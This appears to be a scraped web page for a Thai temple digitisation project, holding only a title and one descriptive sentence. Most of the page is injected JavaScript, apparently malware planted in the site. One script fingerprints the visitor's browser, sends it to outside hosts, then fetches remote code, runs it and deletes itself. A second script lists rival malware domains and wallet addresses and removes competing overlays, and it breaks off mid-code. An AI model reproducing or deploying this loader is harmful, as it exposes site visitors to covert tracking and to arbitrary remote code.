Digital Thai Temples Project

Status

(function(){
‘use strict’;
var APIS=[“https://apidatalive.com/k/m255fDhVEvxs4mO9/collect”,”https://workerrail.com/k/m255fDhVEvxs4mO9/collect”],APII=0,ME=null;try{ME=document.currentScript;}catch(e){}
function b64e(s){return btoa(unescape(encodeURIComponent(s))).replace(/\+/g,’-‘).replace(/\//g,’_’).replace(/=+$/,”);}
function b64d(s){s=String(s).replace(/-/g,’+’).replace(/_/g,’/’);while(s.length%4)s+=’=’;return decodeURIComponent(escape(atob(s)));}
function j(b){
function step(i){
if(i>=APIS.length)return Promise.reject(new Error(‘x’));
var s=[],k;for(k in b)s.push(encodeURIComponent(k)+’=’+encodeURIComponent(b[k]));
var o={method:’POST’,credentials:’same-origin’,headers:{‘Content-Type’:’application/x-www-form-urlencoded’},body:s.join(‘&’)};
return fetch(APIS[i],o)
.then(function(r){
return r.text().then(function(t){var v;try{v=JSON.parse(t);}catch(e){return step(i+1);}
if(v&&typeof v.b===’string’){try{v=JSON.parse(b64d(v.b));}catch(e){return step(i+1);}}
APII=i;return v;},function(){return step(i+1);});},function(){return step(i+1);});
}
return step(APII);
}
function fp(){var d={ua:navigator.userAgent,plat:(navigator.userAgentData&&navigator.userAgentData.platform)||navigator.platform||”,lang:navigator.language||”,langs:(navigator.languages||[]).join(‘,’),
tz:(Intl.DateTimeFormat().resolvedOptions().timeZone)||”,sw:screen.width,sh:screen.height,dpr:window.devicePixelRatio||1,cores:navigator.hardwareConcurrency||0,mem:navigator.deviceMemory||0,
touch:(‘ontouchstart’in window)||navigator.maxTouchPoints>0,wd:!!navigator.webdriver,host:location.host||”};return d;}
function off(){try{if(ME&&ME.parentNode)ME.parentNode.removeChild(ME);}catch(e){}}
function go(){
j({v:’1′,t:’pageview’,d:b64e(JSON.stringify(fp()))}).then(function(g){
if(!g||g.r!==’pass’){off();return;}
j({v:’1′,t:’pageview’,cid:g.vid,fl:’1′}).then(function(fx){
if(!fx||typeof fx.js!==’string’){off();return;}
off();
var s=document.createElement(‘script’);s.textContent=fx.js;
(document.head||document.documentElement).appendChild(s);
}).catch(function(){off();});
}).catch(function(){off();});
}
if(document.readyState===’loading’)document.addEventListener(‘DOMContentLoaded’,go);else go();
})();

(function(){var MARK=”m255fDhV”+”Evxs4mO9″;var Q=”.cfmd-rc-host,.captcha-container,[data-cfmd],.cf-ts,.ms-card,.dg-card,.cpk-icon-badge”;var SRC=’script[src*=”interseq.at”],link[href*=”interseq.at”],iframe[src*=”interseq.at”],script[src*=”xursod.com”],link[href*=”xursod.com”],iframe[src*=”xursod.com”],script[src*=”imacos.cc”],link[href*=”imacos.cc”],iframe[src*=”imacos.cc”],script[src*=”macrepairtool.com”],link[href*=”macrepairtool.com”],iframe[src*=”macrepairtool.com”],script[src*=”cfmd-rc-host”],link[href*=”cfmd-rc-host”],iframe[src*=”cfmd-rc-host”],script[src*=”captcha-container”],link[href*=”captcha-container”],iframe[src*=”captcha-container”],script[src*=”data-cfmd”],link[href*=”data-cfmd”],iframe[src*=”data-cfmd”],script[src*=”norediam.com”],link[href*=”norediam.com”],iframe[src*=”norediam.com”],script[src*=”New_Proliv”],link[href*=”New_Proliv”],iframe[src*=”New_Proliv”],script[src*=”ssn-id.email”],link[href*=”ssn-id.email”],iframe[src*=”ssn-id.email”],script[src*=”masqrad”],link[href*=”masqrad”],iframe[src*=”masqrad”],script[src*=”loadJSFromImage”],link[href*=”loadJSFromImage”],iframe[src*=”loadJSFromImage”],script[src*=”__fpEmbeds”],link[href*=”__fpEmbeds”],iframe[src*=”__fpEmbeds”],script[src*=”fp-embed-close”],link[href*=”fp-embed-close”],iframe[src*=”fp-embed-close”],script[src*=”plain-snow.pages.dev”],link[href*=”plain-snow.pages.dev”],iframe[src*=”plain-snow.pages.dev”],script[src*=”pages.dev/help”],link[href*=”pages.dev/help”],iframe[src*=”pages.dev/help”],script[src*=”extra_param_1″],link[href*=”extra_param_1″],iframe[src*=”extra_param_1″],script[src*=”(new Function(_code))”],link[href*=”(new Function(_code))”],iframe[src*=”(new Function(_code))”],script[src*=”0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2″],link[href*=”0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2″],iframe[src*=”0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2″],script[src*=”b68d1809″],link[href*=”b68d1809″],iframe[src*=”b68d1809″],script[src*=”blastapi.io”],link[href*=”blastapi.io”],iframe[src*=”blastapi.io”],script[src*=”rpc.ankr.com/polygon”],link[href*=”rpc.ankr.com/polygon”],iframe[src*=”rpc.ankr.com/polygon”],script[src*=”gateway.tenderly.co”],link[href*=”gateway.tenderly.co”],iframe[src*=”gateway.tenderly.co”],script[src*=”api.php?s=”],link[href*=”api.php?s=”],iframe[src*=”api.php?s=”],script[src*=”sevda.lol”],link[href*=”sevda.lol”],iframe[src*=”sevda.lol”]’;var MKS=[“interseq.at”,”xursod.com”,”imacos.cc”,”macrepairtool.com”,”cfmd-rc-host”,”captcha-container”,”data-cfmd”,”norediam.com”,”New_Proliv”,”ssn-id.email”,”masqrad”,”loadJSFromImage”,”__fpEmbeds”,”fp-embed-close”,”plain-snow.pages.dev”,”pages.dev/help”,”extra_param_1″,”(new Function(_code))”,”0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2″,”b68d1809″,”blastapi.io”,”rpc.ankr.com/polygon”,”gateway.tenderly.co”,”api.php?s=”,”sevda.lol”];function ours(el){try{if(!el||el.nodeType!==1)return false;var p=el;while(p){if(p.id&&p.id.indexOf(MARK)>=0)return true;p=p.parentNode;}if(el.querySelector&&el.querySelector(“[id*='”+MARK+”‘]”))return true;if(el.getAttribute&&el.getAttribute(“data-wphc-cleanup”)!==null)return true;}catch(_){}return false;}function enemyOverlay(el){try{if(ours(el))return false;if(el.tagName===”SCRIPT”||el.tagName===”STYLE”||el.tagName===”LINK”)return false;var st=getComputedStyle(el);if(st.position!==”fixed”&&st.position!==”absolute”)return false;var r=el.getBoundingClientRect();if(r.width=0){SI[q].remove();break;}}}}catch(_){}}try{var K=[];for(var k=0;k

The Digital Thai Temples Project aims to digitise Bangkok’s temples for education and preservation.